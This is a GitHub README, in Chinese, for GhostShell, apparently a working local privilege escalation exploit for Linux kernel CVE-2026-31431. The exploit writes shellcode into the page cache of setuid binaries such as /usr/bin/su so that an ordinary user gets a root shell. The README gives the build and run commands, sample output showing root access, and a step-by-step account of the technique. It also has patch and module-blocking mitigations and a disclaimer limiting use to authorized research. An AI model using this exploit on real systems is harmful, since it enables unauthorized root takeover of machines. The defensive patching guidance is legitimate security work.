RazvanDuda/GhostShell
GitHub: RazvanDuda/GhostShell
利用 Linux 内核 authencesn AEAD 加密模块的 splice() 缺陷破坏页缓存,在不修改磁盘文件的前提下从普通用户提权至 root。
Stars: 0 | Forks: 0
# GhostShell
**CVE-2026-31431 — 通过 Linux 内核页缓存损坏实现本地提权**
GhostShell 是一款本地提权工具,利用 Linux 内核 `authencesn` AEAD 加密实现中的缺陷,从非特权用户账户**获取 root shell**。它通过向 setuid-root 二进制文件(例如 `/usr/bin/su`)的入口点植入 shellcode 来破坏其内存中的页缓存,然后执行该文件——从而获得 `setuid(0)` + `setgid(0)` 并生成一个特权 `/bin/sh`。此过程不会修改磁盘上的任何文件;仅影响内存中的页缓存。
简而言之:**以普通用户身份运行它,即可获得一个 root shell。**
## 示例输出
```
$ ./ghostshell
CVE-2026-31431 'Copy Fail'
Target: /usr/bin/su
Size: 63576 bytes
Entry offset: 0x1a50
Shellcode: 94 bytes (24 iterations)
[*] Checking if kernel is vulnerable...
[+] Kernel IS vulnerable.
[*] Corrupting page cache of /usr/bin/su with shellcode...
[*] Patching offset 0x01a50 (24/24) ...
[*] Verifying page cache corruption...
[+] Shellcode verified in page cache!
[*] Executing corrupted setuid binary...
[*] If successful, you should now have a root shell.
[*] No trace on disk. Only ghosts in the cache.
# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root
# ```
## 受影响的内核
Linux **4.14**(2017 年 8 月)至 **2026 年 4 月**修补的内核版本。
## 修复方案 — 打补丁 `kmod`
针对 CVE-2026-31431 的推荐修复方案是**对 `kmod` 包(内核模块工具)打补丁**,该包附带了存在漏洞的 `authencesn` AEAD 密码模块。主流发行版已发布更新包,禁用或修复了原地 `splice()` 解密路径。
### 快速修补
```
# 检查当前 kmod 版本
modprobe --version
# 更新到已修复的版本
sudo apt-get update
sudo apt-get install --only-upgrade kmod
# 验证更新
modprobe --version
```
### 快速修补
```
# 将 kmod 更新到已修复的版本
sudo dnf update kmod
# 验证
rpm -q kmod
```
### 快速修补
```
sudo pacman -Syu kmod
```
### 验证内核修复
修补 `kmod` 后,请确认存在漏洞的 `authencesn` 模块已无法加载或已被更新:
```
# 尝试加载模块 — 在已修复的系统上,这应该会失败或报告已修复的版本
modinfo authencesn
# 或者,检查正在运行的内核是否包含 2026 年 4 月的补丁
uname -r # should be >= the patched kernel version for your distro
```
### 临时解决方法(如果无法立即打补丁)
如果您无法立即更新 `kmod`,可以**阻止加载存在漏洞的密码模块**:
```
# 将 authencesn 模块加入黑名单
echo "install authencesn /bin/true" | sudo tee /etc/modprobe.d/disable-authencesn.conf
# 同时将通用 authenc 模块也加入黑名单以防万一
echo "install authenc /bin/true" | sudo tee -a /etc/modprobe.d/disable-authencesn.conf
# 如果当前已加载则卸载它(如果正在使用中可能会失败)
sudo modprobe -r authencesn 2>/dev/null
```
## 测试环境
| 操作系统 | 内核 |
|----|--------|
| **Ubuntu 24.04 LTS** | **6.17.0-22-generic** |
## 前置条件
- 存在漏洞的 Linux 内核(见上文)
- GCC(或任何 C 编译器)
- Linux 内核 UAPI 头文件(``)——通常包含在 `linux-libc-dev` 中
- 一个非特权用户账户(运行此漏洞利用程序无需 root 权限)
在 Ubuntu/Debian 上安装构建依赖:
```
sudo apt-get update
sudo apt-get install gcc linux-libc-dev
```
## 构建
```
gcc -Wall -Wextra -o ghostshell ghostshell.c
```
无需外部库。
## 使用方法
**自动检测目标**(检查常见的 setuid 二进制文件,如 `su`、`sudo`、`passwd`):
```
./ghostshell
```
**手动指定目标:**
```
./ghostshell /usr/bin/sudo
```
如果内核存在漏洞,你将进入一个 **root shell**(`#`)。
## 工作原理(摘要)
1. **漏洞检查** — 创建一个临时文件,通过 AEAD 原语修改其前 4 个字节,然后将其读回以确认页缓存已被修改。
2. **目标选择** — 自动检测 setuid-root 二进制文件并解析 ELF64 头以找到 `_start` 入口点偏移量。
3. **页缓存损坏** — 向入口点写入 94 字节的 x86-64 shellcode,每次 `patch_chunk()` 调用写入 4 字节(迭代 24 次),利用 AF_ALG `splice()` 原地解密缺陷。
4. **执行** — 对已损坏的二进制文件调用 `execl()`。内核从页缓存加载它,shellcode 将以 setuid-root 权限运行,从而生成一个 root shell。
## 清理
该漏洞利用程序**仅**破坏内存中的页缓存。只需简单重启即可完全清除。
如需在不重启的情况下清除缓存:
```
sudo sh -c 'echo 3 > /proc/sys/vm/drop_caches'
```
如果脏页已被写回磁盘(可能性不大,但并非不可能),请重新安装受影响的软件包:
```
sudo apt-get install --reinstall util-linux # for /usr/bin/su
```
## 免责声明
本工具仅供**教育和授权安全研究目的**使用。未经授权对您不拥有或未获得明确测试许可的系统进行使用是违法行为。作者对任何滥用行为不承担任何责任。
## 许可证
本项目基于 **MIT 许可证**授权。
特此免费授予任何获得本软件副本和相关文档文件(“软件”)的人不受限制地处置本软件的权利,包括不受限制地享有使用、复制、修改、合并、发布、分发、再授权和/或出售本软件副本的权利,以及再授权给配备了本软件的人员上述权利,但须符合以下条件:
上述版权声明和本许可声明应包含在本软件的所有副本或实质性部分中。
本软件按“原样”提供,不提供任何形式的明示或暗示担保,包括但不限于对适销性、特定用途适用性和非侵权性的担保。在任何情况下,作者或版权持有人均不对因本软件或本软件的使用或其他处理引起的或与之相关的任何索赔、损害或其他责任承担任何责任,无论是基于合同诉讼、侵权行为(包括疏忽)或其他原因。
标签:0day挖掘, AEAD, authencesn, CVE-2026-31431, Exploit, GhostShell, kmod, Linux内核漏洞, Page Cache Corruption, Root提权, setuid, Shellcode, Web报告查看器, 二进制植入, 仅内存攻击, 内存破坏, 内核安全, 客户端加密, 密码学实现漏洞, 技术调研, 提权漏洞, 攻击路径可视化, 本地提权, 漏洞修复, 网络安全, 网络安全培训, 获取Root Shell, 隐私保护, 零磁盘修改, 页缓存污染, 黑客工具